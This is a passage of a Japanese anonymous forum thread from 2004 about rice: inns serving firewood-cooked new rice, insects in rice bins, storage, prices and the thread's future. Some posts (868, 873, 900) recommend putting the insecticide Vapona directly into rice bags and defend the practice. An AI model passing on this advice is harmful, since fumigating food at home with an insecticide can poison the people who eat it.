840 :もぐもぐ名無しさん:04/09/01 09:52
ホテル旅館などでうまい飯を食わすのは、結構難しい。
コメ仕入れがコストダウンで安く安く安く。
手の込んだ美味しい料理が沢山出れば飯は少ししか食えない。
米屋でよいコメを買ってきて自分で炊いて腹を減らして食う。
これが最強。

ここはアルミ缶買い取り場か?
なんで仕切り人がいるんだよ。

841 :もぐもぐ名無しさん:04/09/01 12:37
↑馬鹿だね。
魚沼の旅館やホテルは、ある意味米が売り。
お前が行ってる安旅館や、
お前んちで売ってる米といっしょにするな。
美味しいに決まってるだろ。どアホ。

842 :832:04/09/01 13:26
>>838
「●」のところだけ教えてください。検索してみたい。

>>839
おいしいお米を目当てに、くつろぎに行きたいんです。
民宿はあたたかいもてなしをするところが多いようですが、
もう少し贅沢モードでありませんか?

>>840
>米屋でよいコメを買ってきて自分で炊いて腹を減らして食う。これが最強。

なるほど(笑)。休みがとれない時にはそうします。

>>841
>魚沼の旅館やホテルは、ある意味米が売り。

そうであるはずだと思って新米旅を計画中なんです。
何年か前、仕事先で会った人に、この時期の魚沼地方の旅館で新米を食べ、
て感動したと聞きました。旅館の裏手にでっかい釜があり、
ご主人自ら薪でご飯を炊いていたそうです。2泊したが朝晩のご飯にしびれた。
昼用におにぎりを作ってもらい出かけたが、ひえた新米もウマーだったそうで、
思い出したら、その薪で炊いた新米がとても食べてみたくなったんです。





843 :もぐもぐ名無しさん:04/09/01 13:56
>>842
白飯の美味いのは自宅で食うのに限る。
コメを炊くだけで料理人が腕をふるうところは無いんだよ。
美味しい白飯を食いたいなんて言ったら板前はがっかりするし
普段不味い物しか食ってないのを白状するようなもんだよ。

>>841
白水のCMで聞き飽きたわ。

844 :832:04/09/01 14:09
>>843
理解力のない方ですか?うまい料理はお金を出せばどこにでもあるんですよ。
ある意味、食べ飽きている。新米の時期に、本当においしく炊けている新米を
堪能する旅をしたいと言っているんです。おいしい料理を食べさせる旅館とは言ってはいないでしょ?
それならこのスレで質問しないですよ。ズレた回答で見下されるのは不愉快です。



845 :もぐもぐ名無しさん:04/09/01 15:21
>>844
>うまい料理はお金を出せばどこにでもあるんですよ
高い料理はどこにでもあるが美味いとは限らないぞ。
白飯の美味い不味いなんておふくろの味の範囲なんだよ。
それに旅先で白飯の味をほめたって
他の料理はまずいとの皮肉にしか聞こえないんだよ。
なんでも持ち上げるテレビの旅番組に毒されているんだよ。
うまい白飯は自宅で食うべし。

846 :もぐもぐ名無しさん:04/09/01 15:23
>美味しいに決まってるだろ。どアホ。

馬鹿発見。凄まじい馬鹿発見。


847 :もぐもぐ名無しさん:04/09/01 16:18
食べてもあんまり太らない食べ物ってないものでしょうか?
味はどうでも良いのですが、できれば腹持ちするものであれば最高です。

848 :847:04/09/01 16:21
スレ違いな質問してしまってすいませんでしたorz

849 :もぐもぐ名無しさん:04/09/01 16:28
おいらもスレ違いを承知で質問したいんですが

米屋さんって大豆とかも売ってるんですか?

大豆がほしいんですけど、どこに行ったら売ってるかが判んないんですよ。

できたら規格外で安く分けてもらいたいんですけど

JAとかはぼったくられそうな気がするし・・・ ((((;゚Д゚)))ガクガクブルブル

850 :もぐもぐ名無しさん:04/09/01 16:46
>849
普通にスーパーで売ってないか?
どれくらい要るんか知らんけど・・・
30s単位で欲しいなら市場に行って豆屋をのぞいて見るといい。

851 :もぐもぐ名無しさん:04/09/01 19:54
>>840>>843>>845>>846
貧しいね。発想も味覚も・・・
五感が鈍いんだろうね。

832様
このような貧相な人種はこれ以上、構わないほうが無難ですよ。

852 :もぐもぐ名無しさん:04/09/01 20:23
両腹痛いわ。


853 :もぐもぐ名無しさん:04/09/01 20:53
あげ

854 :もぐもぐ名無しさん:04/09/01 20:58
頼米がいなきゃいないで、また荒れてるのか…。

855 :もぐもぐ名無しさん:04/09/01 21:05
だって、頼米信者だもの。

856 :もぐもぐ名無しさん:04/09/01 21:17
説得力のない薀蓄で荒らしている米屋と頼米は,
自身の考えゴリ押しって点が非常に似ている。


857 :もぐもぐ名無しさん:04/09/01 21:37
マジレス願います。
米びつの中に幼虫のような細くて白い虫が大量発生しました・・・。
何故でしょうか?
異常な暑さのせいでしょうか?
また、消滅させるにはどうしたらいいでしょうか?
米は自分の家で収穫したものでキヌヒカリかコシヒカリだったと思います

858 :もぐもぐ名無しさん:04/09/01 22:34
>>857
このスレを「虫」で検索すると対処方法が書いてある。

859 :もぐもぐ名無しさん:04/09/01 22:35
>>857
それ、蛾の幼虫だよ。
米に付く蛾だから品種は関係ないけど、そんなに大量だったら日陰に広げて虫を干からびさせるしかないんで無い?
ひび割れに気をつけてね。
暑いと確かに虫は付きやすくなるんだけどね。
ちなみにその蛾、モミが付いてるうちに産卵するので(一説には田んぼにあるうちから)、100%防ぐには低温倉庫でふ化しない温度に保つしかないでしょう。

860 :832:04/09/01 23:38
>>856

私もそう思いました。というか、本人だと何故か思いました。
それでそれ以上のレスはやめたんですが。私の質問は私見を聞いてるんじゃないんです。
新米を薪で炊く旅館を聞いてるのに。自分が一番と思ってる人は困りますね。
料理についての反論もありますが、スレ違いなので控えておきます。
しかしまあ、こんな方の話を3年ですか?よくも皆さん聞いてらっしゃいましたね。
腹たちませんでしたか?



861 :832:04/09/01 23:54
>>851
ごめんなさい、見落としていました。
アドバイスの通りですね。関わらない方がいいみたい。
テレビの旅番組なんてほとんど見ません。結局、タイアップですから。
美味しい料理は短時間に大量に作らなければならない旅館や、
ホテルのレストランでは食べられません。そくらいは経験済みです。
食の「レベル」は低そうな方なんですね。なんでレスしたいんだろ・・迷惑。




862 :もぐもぐ名無しさん:04/09/02 00:17
>白飯の美味い不味いなんておふくろの味の範囲なんだよ。

この一言がこの子の貧相な食生活を物語っている。
こんな子がこれ以上、食を語っても失笑をかうだけ。
恥ずかしくてもう現れはしないだろうが、消えたほうがいいよ。
おつかれさん☆

863 :もぐもぐ名無しさん:04/09/02 00:26
>>858
>>859
マジレスサンクス。婆ちゃんが食べても大丈夫だっていってたけど
どうも気分的に嫌なんだよねw誰でもぞうだと思うけどw
赤唐辛子入れとくとイイって聞きましたがマジですか?

864 :もぐもぐ名無しさん:04/09/02 00:40
効果がないわけではないでしょうが
気休めくらいに思ったほうがいいと思います。
保存場所(低温)の工夫のほうが効果ありますよ。

865 :もぐもぐ名無しさん:04/09/02 01:00
野菜室に保存してるって人どっかにいたな。


866 :もぐもぐ名無しさん:04/09/02 01:32
>>857
>>859さんが言うようにガの幼虫の可能性もありますし、コクゾウ虫の幼虫の可能性もありますよ〜。
米びつにマユを作っているようなら蛾でしょうね。黒くて小さい虫ならコクゾウかな。

で、駆除方法ですが・・・以前にも話題が出てまして、
「日なたに干す」と「日陰に干す」の両方が出てました。
私も虫わいちゃったので、陰干ししてみたんですが・・・
あんまり効果ありませんでした。で、日なたで干すとゾロゾロ逃げて行きましたよ。
他のサイトで調べてみると、25℃〜32℃で活動が活発になるらしいので、
日陰だと、案外と虫には居心地のよい温度だったのかもしれません。

直射日光は米にはよくないんでしょうけど、割れてしまうほどではありませんでした。
けど、あんまり長時間だとダメなんでしょうね。


867 :もぐもぐ名無しさん:04/09/02 02:09
>>866
明日晴れたら試してみますわ。
白いし、マユっぽいものも作ってるので蛾でしょうね。
米びつの上のフタの防虫剤に沢山ついていたのは一体何故???

868 :もぐもぐ名無しさん:04/09/02 02:44
米の入った袋なり箱なりにバポナを入れて、二・三日したことろで
篩にかける。
バポナは強力だから、虫の卵も死ぬぞ。

869 :もぐもぐ名無しさん:04/09/02 05:03
ちょっと板違いですが適当な板が見つからなかったので、ここで質問させてください。

抗菌仕様のご飯茶碗ってあるでしょうか?

870 :もぐもぐ名無しさん:04/09/02 06:33
>>869
プラスチック製品で見たことある。
抗菌グッズ大流行の頃だから5年以上前だったと思う。
皿やお椀なんかもあった。抗菌効果がどこまであるか不明。

ところで「抗菌 茶碗」でぐぐってみた?

871 :もぐもぐ名無しさん:04/09/02 08:43
>バポナは強力だから、虫の卵も死ぬぞ。

人 間 も 死 ぬ ぞ 。




872 :もぐもぐ名無しさん:04/09/02 09:18
虫駆除
家庭レベルでは米びつの徹底掃除。
外せる物は全部外して裏側も洗う。
虫は裏側に回り込んでスクツにしている。
薬は使わなくても良い。
米びつを使わない選択もあるかも。

873 :もぐもぐ名無しさん:04/09/02 11:35
>>871
大丈夫。
どこの農家でも農協や米屋やらでも、米蔵にはバポナ吊ってるけれど
米の飯食って死んだ人なんか聞いたこと無いだろ?


874 :もぐもぐ名無しさん:04/09/02 13:09
バポナが死因ですって話は聞いた事が無いが
バポナに大量の発がん性物質が含まれるのも事実。
だが世の中そんな話ばかりだから槍玉に挙げるのも不当。
選択の自由と自己責任だろう。



875 :もぐもぐ名無しさん:04/09/02 14:20
>863 >867

かなり以前のことだが、うどんを食おうとしたときだ。
いつものように一味唐辛子をさっと振ったのだ。
そして出汁をすすったそのとき!目の前に広がっていたのは唐辛子ではなく、唐辛子
と同じ色をした蟲だったのだ。よくみれば唐辛子のビンの中にはその蟲がいっぱいに
詰まって唐辛子と入れ替わっていたのだ!オエエエ ゚∩゚ 当然うどんはポイ。
米の防虫にニンニクや唐辛子がある程度は効果はあるんだが、入れっぱなしにしてい
ると防虫剤自体に蟲がわくぞ。 きをつけろ!

876 :もぐもぐ名無しさん:04/09/02 15:17
>>875
> 米の防虫にニンニクや唐辛子がある程度は効果はあるんだが、入れっぱなしにしてい
> ると防虫剤自体に蟲がわくぞ。 きをつけろ!

ニンニクや唐辛子の効果は夏場で1ヶ月位と考えた方が良いかもしれませね。


877 :もぐもぐ名無しさん:04/09/02 15:23
いつも複数銘柄食べているから食べきるまで三ヶ月ぐらいかかる事あるけど
店頭袋のままで虫が沸いたりカビた事無いな。
味もあまり落ちないよ。美味い銘柄はそれなりに食える。
不味いとされる銘柄よりは美味く食えるよ。

878 :もぐもぐ名無しさん:04/09/02 17:43
今日は太陽が出てなかったので干せなかったorz
HCでワサビの臭いのする防虫剤を買ってみました。


879 :もぐもぐ名無しさん:04/09/02 22:50
873 どこの農家でも農協や米屋やらでも・・・

どこの米屋でもやっていないよ
特に、減・減の米を扱っているこだわりの米屋ではね
すべての米屋、農家を調査もせず一括りで米屋は農家はという発言はやめてください
せめて、わたしの知っている農家では・・・、米屋では・・・ にしてください
卸については付き合いがないので、やっていると言われれば信じるしかないです


880 :もぐもぐ名無しさん:04/09/02 23:06
繰り返し出る虫の質問。回数で言えばこのスレのトップでは?
次スレはテンプレに回答をまとめたらどでしょか。

881 :もぐもぐ名無しさん:04/09/03 01:28
>>842

○沢○

882 :もぐもぐ名無しさん:04/09/03 03:22
すいません助けて下さい。米の賞味期限てどのくらいなんすか?一年前位の米を金無くて今炊いてるんですが腹壊したりしないですかね?

883 :もぐもぐ名無しさん:04/09/03 03:25
すいません助けて下さい。米の賞味期限てどのくらいなんすか?一年前位の米を金無くて今炊いてるんですが腹壊したりしないですかね?

884 :もぐもぐ名無しさん:04/09/03 08:51
見た目に異常がなくって(カビ等)、
異様な匂いなどがしなければ、
食えないことはないでしょう。
もちろん、食味は期待できませんが・・・

885 :もぐもぐ名無しさん:04/09/03 14:24
その時間に炊いてるって、よっぽど切羽詰まってたのかな。。。


886 :もぐもぐ名無しさん:04/09/03 14:41
古米とか古古米って最近は知らないんだろうね
おいらもオッサンになっちゃった品 ( 'A`)

887 :もぐもぐ名無しさん:04/09/03 15:18
>822
ダイジョウブ。基本的に米に賞味期限は、まあ、ない。
今スーパーで売ってる安売りの米は大抵1年以上前の精米日さえアヤシイ米だ。

ほんとにうまいのは「精米後」2週間から1ヶ月位まで。

>886
コッコ米(鳥に食わせるような米)って言葉もあったな。


888 :もぐもぐ名無しさん:04/09/03 15:27

882だった。:-P

889 :もぐもぐ名無しさん:04/09/03 16:11
10キロの米買って暇な時にヘルスメーターに載せてみると10キロ入ってないことがよくある

体重計がおかしいのか。。。。

890 :もぐもぐ名無しさん:04/09/03 16:22
>889
詰めたときは10kちょうどあったのが時間がたって米が乾燥し、
その水分が減った分軽くなった。


891 :資金が少なくなった米屋:04/09/03 17:48
11俵半が無くなったのでこちらにカキコしますが、、、
先日、頼米さんに黒米、赤米について教えてもらった米屋です。
頼米さん、お答え有難うございました。
勉強になりました。  m(_'_)m



892 :もぐもぐ名無しさん:04/09/03 17:50
>>887
精米したては良くないの?

893 :もぐもぐ名無しさん:04/09/03 18:19
>>891
スレ違いですよ。ここはもう頼とは関係ありません。

894 :もぐもぐ名無しさん:04/09/03 18:23
つか、やめろよ頼!
自分から出て行ったんだろ。未練がましい。

895 :もぐもぐ名無しさん:04/09/03 21:12
なんか、秋田県が心配になってきますた。
8月20日の台風15号による塩害の被害が、たんぼに出ている様子。
本庄から秋田・男鹿にかけ、台風が塩の雨を稲にかけていったみたい。
稲がススキのようになっているらしい。


896 :もぐもぐ名無しさん:04/09/03 21:22
以前、ここで米を販売(米屋)するのに資格は不要で、届け出のみ必要と聞いたのですが、
問屋とかJAを通さずに、農家から米を仕入れて販売する場合も同じですか?資格等は不要ですか?

897 :もぐもぐ名無しさん:04/09/03 22:18
>889 体重計がおかしいのか・・・

ヘルスメーターと業務用のはかりでは感度が違う
業務用では1グラム(精度のいいのでは0.1グラムでも)でも反応する
ヘルスメーターは せいぜい5グラムから

>890 水分が減った分軽くなった。

米屋では水分の減りは見越して袋詰め時点で余分に入れている
もしくは冷めてから袋詰め

898 :もぐもぐ名無しさん:04/09/03 22:21
884さん887さん有難う。これで安心して食えます。

899 :もぐもぐ名無しさん:04/09/04 00:54
>>895
別にいいじゃん。今年は史上2番目か3番目の大豊作なんだら、秋田がダメでも
他の産地があるじゃんよ。

900 :もぐもぐ名無しさん:04/09/04 01:00
>>879
減・減の米を扱っているこだわりの米屋みたいな特殊な例をだされてもなぁ……
それに、バポナは、客には隠すよ。税務署には隠さないけれど。
まぁ、パポナを使ってない米屋の存在を否定したりはしないけれど、全部と言って
良いほどの精度でバポナもしくは類似の揮発性常温燻蒸型合成殺虫剤を使ってるよ。
減農薬とか無農薬とか謳ってる米屋ほど、正直に仕入れすれば虫が付きやすいので
結局は店の倉庫で使ってしまうんだよね。
パポナ使ってないのは、米専業ではない、大手のスーパーくらいだ。仕入の段では
たっぷりとバポナ吊ってる倉庫の米なんだけれど。

901 :(´c_,` ):04/09/04 03:03
最近太って困ってまつ

902 :もぐもぐ名無しさん:04/09/04 08:08
儲靄靄醴醴醴蠶體酌偵Auru山∴          ベヨ迢鋸醴蠶蠶蠶蠶蠶蠶蠶蠶
儲霾a露繍蠶髏騾臥猶鬱h  ご笵此∴        ∃f謳廱躔騾蔑薺薺體髏蠶蠶
儲諸隴躇醴蠶歎勺尓俎赴  f蠶蠶蠢レ      ∴f醴蠶鬪扠川ジ⊇氾衒鑵醴蠶
鐘諸薩讒蠢欟厂  ベ状抃  傭蠶蠶髏厂      .ヨ繍蠶蠶臥べ泣澁価価鬱蠶蠶蠶
罐諸醴蠶蠶歎      マシ‥…ヲ冖        .∴瀦醴蠶襲jJ鶴門門攤蠶蠶蠶蠶
罐讒蠶蠶欟厂        ヘ              ∴f醴醴蠶甑欄鬮°f蠢蠶蠶蠶蠶蠶
霾醴蠶蠶勸                        ∴ヨ繍醴蠶蠶鬮狡圷し醴蠶蠶蠶蠶蠶蠶
蠶蠶蠶蠶髟                        ベ湖醴醴蠶蠶蠶庇⊇⊇J體髏髏蠶蠶蠶
蠶蠶蠶欟                          f繍蠶蠶蠶蠶蠶曲三三巛憫髏蠶蠶蠶蠶
蠶蠶蠶歉                  滋宣_迢艪蠶蠶蠶蠶蠶蠶甜川⊇川川衍捫軆髏髏
蠶蠶蠶髟                コ醴蠶奴繍蠶蠶蠶蠶蠶蠶蠶齡辷シジ⊇川介堀醴醴
蠶蠶鬮か                .ベ苛ザベ繍蠶蠶蠶蠶蠶蠶蠶醯己に⊇三介f繙醴蠶
蠶髏鬮シ                        尽慵蠶蠶蠶蠶蠶蠶蠶自辷三沿滋鐘醴蠶蠶
蠶醴勸                            氾隅髏蠶蠶蠶蠶蠶靦鉱琺雄躍蠶蠶蠶蠶
蠶醴訃                      ∴∴∴沿滋溷醴髏蠶髏髏韲譴躇醴蠶蠶蠶蠶蠶
蠶蠶髟              _山辷ムf蠡舐鑓躍醯罎體體體驩讎櫑蠶蠶蠶蠶蠶蠶蠶
蠶蠶a            f躍蠶蠶J蠶蠶蠶蠶蠶蠶蠶醯註珀雄醴醴蠶蠶蠶蠶蠶蠶
蠶蠶廴          f醴蠶欟閇憊體醴蠶蠶蠶蠶蠶蠶靦錐讒醴蠶蠶蠶蠶蠶蠶
蠶欟シ      ・   禰蠶蠶蠢螽螽f醴蠶蠶蠶蠶蠶蠶蠶躍蠶蠶蠶蠶蠶蠶蠶
蠶監シ          ∵ヴ門夢曠髏蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶a                ∴シ∃愬嚶髏蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶診            ベ沿u旦以迢u讒醴髏曠醴蠶蠶
蠶蠶甑シ            .げ隅艪蠶蠶蠶蠶蠶蠢J蠶蠶<お米大好き!
蠶蠶鬮ヒ               ベ状隅髏蠶蠶蠶蠶蠶蠶蠶蠶


903 :もぐもぐ名無しさん:04/09/04 08:41
一昨日、地方農政事務所でなく国の農政局の監査が来ました。合格。
監査注意報発令。年末定例監査ではなく国が不定期監査中らしい・・。

904 :もぐもぐ名無しさん:04/09/04 09:25
>899
別の産地も塩害で品質低下中 :)
うちの周りの田んぼ、軒並み黄変してる。穂の出始めたヒノは厳しいな。
晩生の品種はまだよさげ。
海から20k程内陸だけど庭木も何もぜんぶ枯れかけ :(

905 :もぐもぐ名無しさん:04/09/04 09:28
>897
>米屋では水分の減りは見越して袋詰め時点で余分に入れている

ちゃんと冷やして詰めても見通しよりも大幅に乾くことがアルYO。

906 :もぐもぐ名無しさん:04/09/04 11:01
本日のス−パー『ラ●フ』のチラシ掲載

平成16年産福井華越前10kg2980円!

相場が下降気味だとはいえ安すぎる
農政局よ仕事だぞ

907 :もぐもぐ名無しさん:04/09/04 11:57
>906
妥当だと思うが?

908 :もぐもぐ名無しさん:04/09/04 12:14
うん、私も特売なら妥当だと思う。

909 :もぐもぐ名無しさん:04/09/04 12:36
>>906
余裕で作れる値段じゃん?

910 :もぐもぐ名無しさん:04/09/04 12:47
15年産華越前 5kg 2480円で売ってるところあるよ。

モチ米新米早くでないかな。

911 :もぐもぐ名無しさん:04/09/04 15:26
千葉出てるでしょ。

912 :もぐもぐ名無しさん:04/09/04 15:36
まだ安いモチ米見てない。1キロ780円とか830円。
仕入れ安くても高く売ってるのかしら。

913 :もぐもぐ名無しさん:04/09/04 18:00
>>912
大きな卸会社は
去年の高いもち米の在庫をたっぷり持ってるから。
プール計算しないと赤字がかさむから。
小さな米屋はそれが無いから16年産100%で安く売れるはず。
千葉ひめのもち 1kg 400〜450円込み 充分可能。

914 :もぐもぐ名無しさん:04/09/04 19:34
>>907>>908>>909
>>906じゃないけど、これが妥当な値段?いやまぁ、安いからって悪さしてるとは言わんがね。
ハナはコシと違ってネームバリューでは劣るから、客寄せパンダの叩き売り値だったら、ありえんこともないけど、
これが妥当だとか、余裕の値段ではないんじゃない?


915 :もぐもぐ名無しさん:04/09/04 19:37
>>914
高く見積もって検査1等13000円とすると
10k税込み原価は辛く見て2680円。
特売なら充分じゃないかな。

916 :もぐもぐ名無しさん:04/09/04 19:43
>914

悪さたって、古古米より新米のほうが安いんだから、悪さのしようがないよ。
新米100%と見て良いでしょう。

917 :もぐもぐ名無しさん:04/09/04 20:08
高騰時に出し惜しみして古米になった15年産、売らずに倉庫にしまっとくってか?
損覚悟でもさばかなきゃならないんじゃないのか?
悪さのしようなんていくらでもあるじゃん。

918 :もぐもぐ名無しさん:04/09/04 20:28
あまり、業界の話しを・・・ry。

消費者が、米屋以外から調達してしまうぞ。

919 :もぐもぐ名無しさん:04/09/04 20:32
早稲の新米が出て来ているけど、
西日本の米は概して冷めると味が落ちるのはどうしてなんだろう。

920 :もぐもぐ名無しさん:04/09/04 20:33
>>915
前回の入札でキララの指標価格が13000円くらいだったと思うから、
福井の華越前だったらもっと高いんじゃないの?
仕入れルートにもよるんだろうけどさ。

921 :もぐもぐ名無しさん:04/09/04 20:50
平成16年産福井華越前ならば検査1等13000円は無理
「千葉ふさおとめ」あたりなら余裕でOK
中身はその辺だろ

922 :もぐもぐ名無しさん:04/09/04 21:20
人口の高齢化とともに米の需要は減らざるを得ないと思いますが
お米屋さんは実感してますか?

923 :もぐもぐ名無しさん:04/09/05 00:46
>>902ってよくできてるなあ。凄いよ、写真みたいだ。

924 :もぐもぐ名無しさん:04/09/05 01:04
>>923
画像をソースにああいう風に変換するソフトがある。

925 :もぐもぐ名無しさん:04/09/05 01:32
ああ、そうなんだ。知らなかった。

926 :もぐもぐ名無しさん:04/09/05 04:46
定期市場(先物の市場)が無い上に、いままで胡座商売してきて簿価でしかものが見られない
アホ商人ばかりだから、品質の悪い不作年の古米が、品質の良い豊作年の新米より
高い。
今年の米は確実に余るんだから、去年の古米はニワトリの餌にでもしてしまえ。
でも、簿価が高くてそれができないのは、換金市場が無いからだよ。
大豆や小豆なんかは、定期市場が換金市場としての役割を果たしているから、
供用期限切れの旧穀が製油業者や澱粉の加工業者にちゃんと引き取られて行ってる。

927 :もぐもぐ名無しさん:04/09/05 08:18
農家には酷だな。
流通だけで論じれば日本の米農家は潰されてしまう。

928 :もぐもぐ名無しさん:04/09/05 10:04
プラッシーってまだ売ってるの?
あれはどこのメーカー?


929 :もぐもぐ名無しさん:04/09/05 13:03
次回、プラッシーもテンプレお願い。

C1000タケダ

930 :もぐもぐ名無しさん:04/09/05 13:12
このスレタイでここまで続いた事に意図を感じる。

931 :もぐもぐ名無しさん:04/09/05 15:56
>>928
>>770-772

932 :もぐもぐ名無しさん:04/09/05 20:15
>>926
言いたいことは分かるけどね。
>品質の悪い不作年の古米が、品質の良い豊作年の新米より高い。
この辺は、新米が出揃うまでなんとも言えんのじゃない?
15年産の北陸や東北米と16年産の早場米を比べるのはおかしいよ。

余った米に関しては、それぞれの業者が考えればいい。
15年の出来が悪くて高い米が嫌なんだったら、16年産を買えばいいだけのハナシだろ。
先物市場に関しては賛否両論だしな。俺は無責任にどっちがいいなんて言えない。
一時のパラみたいなことになったらタイヘンよ。
それに、小豆はともかく、大豆の現受けの量なんてそんなにたくさんないだろう。


933 :もぐもぐ名無しさん:04/09/05 21:30
今後の天候で収量がいくらか落ちるかもしれないが
すでに勝負はあったと思う。
各産地について15年産は新米よりは安くしないと売れないよ。
実勢価格には逆らえないよ。

934 :もぐもぐ名無しさん:04/09/05 22:07
>900 :もぐもぐ名無しさん

私が言いたいのは どこの農家でも農協や米屋やらでも
って言い方がいやなだけです
やっていないところもあるんだから わたしの知っている限りではって発言にしてください

>905
一割も減らないと思う
すべて見越して翌々日に量っても目減りしない分だけ入れている
精米後3日も置いているような米屋は言語同断
まともな米屋じゃない

935 :もぐもぐ名無しさん:04/09/05 22:12
早く塩沢コシの新米が食べたいよ。

936 :もぐもぐ名無しさん:04/09/05 22:23
所でお前ら!!!








ぬるぽ('A`)

937 :もぐもぐ名無しさん:04/09/06 09:55


     頼りない米屋さん ありがとう。

頼りない米屋さん会社の従業員になっても教えて貰えない事を
教わったと思います。
ありがとう。




938 :もぐもぐ名無しさん:04/09/06 10:05
今年は色々な要因で西日本の米の競争力が失われている

939 :もぐもぐ名無しさん:04/09/06 10:09
×失われている →○失われるだろう

940 :もぐもぐ名無しさん:04/09/06 11:45
適地適作ってことで、しゃーないな。
適地の減反、転作は生産者にも消費者にも不幸なことだ。

941 :もぐもぐ名無しさん:04/09/06 12:26
>>936
はぁ・・・













ガッ!

942 :もぐもぐ名無しさん:04/09/06 12:30




                シ!            


                

943 :もぐもぐ名無しさん:04/09/06 12:58


('A`)

944 :もぐもぐ名無しさん:04/09/06 14:41
新米って、いつ頃まで収穫するんですか?
長野佐久の産地にコシヒカリ送ってもらえるよう頼んだら、
まだ収穫してないって言われたんですが。
いつ届くんだろう、なんか怖くて聞けなかった。

945 :もぐもぐ名無しさん:04/09/06 15:30
さてと、1000が近づいてきました。このスレ、どうしますか?

A案 次スレもこのまま続行。タイトルから「頼りない」を削除。
B案 全く別スレタイで新規一転。
C案 自然消滅。未練から荒らしに転身した頼りない米屋に返還。


946 :もぐもぐ名無しさん:04/09/06 15:44
>>944
さっき現地に確認の電話をしましたところ、
9月20日過ぎには送れるだろうと言っていましてよ。
もうしばらくお待ちください。

947 :もぐもぐ名無しさん:04/09/06 17:56
A案に1票。

『お米について何でも質問に答えます12俵目』

でもいいかも(^o^)丿

948 :もぐもぐ名無しさん:04/09/06 18:08
やっと新米がでてきましたね
米は5kg2000円前後じゃないとね
今期はパスタと米の割合が逆転しそう

949 :もぐもぐ名無しさん:04/09/06 18:33
15年産モチ米値下がり
2kg 1180円込みだった。

このスレは頼りない米屋さんに感謝しつつ自然消滅でいいよ。
米に関心のある人は全く別のスレをたててやってくれ。

頼りない米屋さん ありがとう。

950 :もぐもぐ名無しさん:04/09/06 18:34
16年産津軽ロマンの予想価格は1俵いくらですか?
こちら100〜160俵単位で仕入可能なんですが。
その他、11000円台のねらい目などもわかる方、教えてください。

ちなみに先日茨城小町16年未検12000円でしたよ。


951 :もぐもぐ名無しさん:04/09/06 20:12
>>949
消滅?
君が来なければ済む話だyo


952 :もぐもぐ名無しさん:04/09/06 20:51
スレの趣旨にあったタイトルを付けてよ。
騙る事のない様にしていただきたいね。

いつも買ってる量販店にモチ米新米まだ入らない。
聞いたらわからない、10月になりそうな事言ってた。

953 :もぐもぐ名無しさん:04/09/06 21:49
頼りない米屋の名前さえ抜けば、あとはまったく問題なし。

954 :もぐもぐ名無しさん:04/09/06 22:02
仏つくっても魂入らないのだから一連のスレを引き継がずに
全く別のスレとして立ててね。
代わりに答えてくれる米屋さんがいればいいことだけどね。
立てる人はタイトルに責任持ってね。

955 :もぐもぐ名無しさん:04/09/06 22:36
結局、こうなってしまったね。
初心者が、自分で何も調べない、試さない、ただ情報を集めるだけ
に質問を繰り返す。
ネットが普及して色んな種類の掲示板に見られる光景だけど、
2分化される。常連の人たちが嫌気をさして掲示板を離れるか、
過去ログを調べろ!自分で検索しろ!だのギスギスしてくるか。
ここは・・・

956 :もぐもぐ名無しさん:04/09/06 23:16
くどいなあ 頼米

957 :もぐもぐ名無しさん:04/09/06 23:20
千葉茨城と新米がどんどん出てきたね。
今年は安くてうまいので文字通りウマー。

958 :もぐもぐ名無しさん:04/09/06 23:29
このスレの継続が、なんで別スレなん?
問題なく進んでるし、当然、12俵でしょう。

なんで、1名のみ文句言ってるのかな??


959 :もぐもぐ名無しさん:04/09/07 00:47
なんでこのスレ引き継ぐの? 
頼の痕跡なんか残すな

960 :もぐもぐ名無しさん:04/09/07 00:59
頼米スレ別立て復活キボンヌ。

961 :もぐもぐ名無しさん:04/09/07 01:08
なぜそこまで意固地になるのかまったく理解できないけど
この際「頼りない米屋」さんのことは次のスレとは無関係でしょう。

彼が参加してようがしていまいが、コテハンの「頼りない米屋」は消滅してしまったんだから、
もう彼はオレや君らと同じ「もぐもぐ名無しさん」(参加してるとは思えないけどね)。

スレタイは新で1俵でも、旧で12俵でもどっちでもいいじゃん。
くだらないことでスレ無駄遣いすんなよ。もう面白くも何ともない。



962 :もぐもぐ名無しさん:04/09/07 01:27
一生懸命、参加してるじゃん。頼米。
未練がましいヤツだ。

963 :もぐもぐ名無しさん:04/09/07 01:32
「お米屋だけど何でも質問に答えます」
このスレタイが嘘でないのなら、別に12俵でもいいけど、
「米屋の人」と、
「米屋じゃないけど米に関係する仕事してる人」と、
「米屋のふりして偽情報を流す人」を、
名無し、ID無しでいったいどうやって区別するのか。

「コメ業界の人が集うスレ」あたりでいいんじゃないか?
それとも米屋さんが責任を持って質問に答えてくれるのかな?

964 :もぐもぐ名無しさん:04/09/07 01:41
玄米食べ過ぎると良くないって聞いたんですがなんで?

965 :もぐもぐ名無しさん:04/09/07 01:46
>>964
一時的にいっぱい食べると、白米よりは消化が遅い。
「食べ続ける」と言う意味でなら、悪い事はない。
「農薬云々」という話なら、心配なら無農薬を食べればよい。
しかし、玄米の残留農薬が危険であると主張する人がいても、
具体的に健康被害が出たという話は聞いたことがない。

966 :もぐもぐ名無しさん:04/09/07 01:47
継続で問題なし。
こちらを別にして、あのお馬鹿が性懲りも無く、
12俵目たてるってシナリオはごめんです。

967 :もぐもぐ名無しさん:04/09/07 04:45
ヨ○カド○で去年収穫の栃木さんのコシヒカリ買ったんだけど、
はじめはうまかったんだけど、何回か食べたらベシャベシャっぽいの。
混ぜ米の可能性ってありますか??

968 :もぐもぐ名無しさん:04/09/07 08:23
>>967
店に苦情を言えば換えてくれるよ。
混ぜるにしても均等に混じっているはず。
高くないのだから新米を買いましょう。

このスレが続いたのは
頼りない米屋さんの実務に即したなんともあけすけなレスのおかげ。
頼りない米屋さんがこなくなれば継続の意味がない。
何でも質問に答えるお米屋さんが新規登場すればいいけど。

969 :もぐもぐ:04/09/07 08:58
初めまして、このスレただのぞいてるだけの小さな米屋です。
>>このスレが続いたのは
>>頼りない米屋さんの実務に即したなんともあけすけなレスのおかげ。
>>頼りない米屋さんがこなくなれば継続の意味がない。
>>何でも質問に答えるお米屋さんが新規登場すればいいけど。
私もそのように考えます。
出来ればどなたか一般質問用、コメ業界用など立てていただけないでしょうか?
私には到底無理です。ごめんなさい。

970 :もぐもぐ名無しさん:04/09/07 09:57
>>968, 969
禿同。このスレは一般消費者にも小売りにも問屋にも、ひいては生産者に至るまで
質問/回答/討論(?)がされていた、米に関する総合スレッドとしては希有な存在だった。
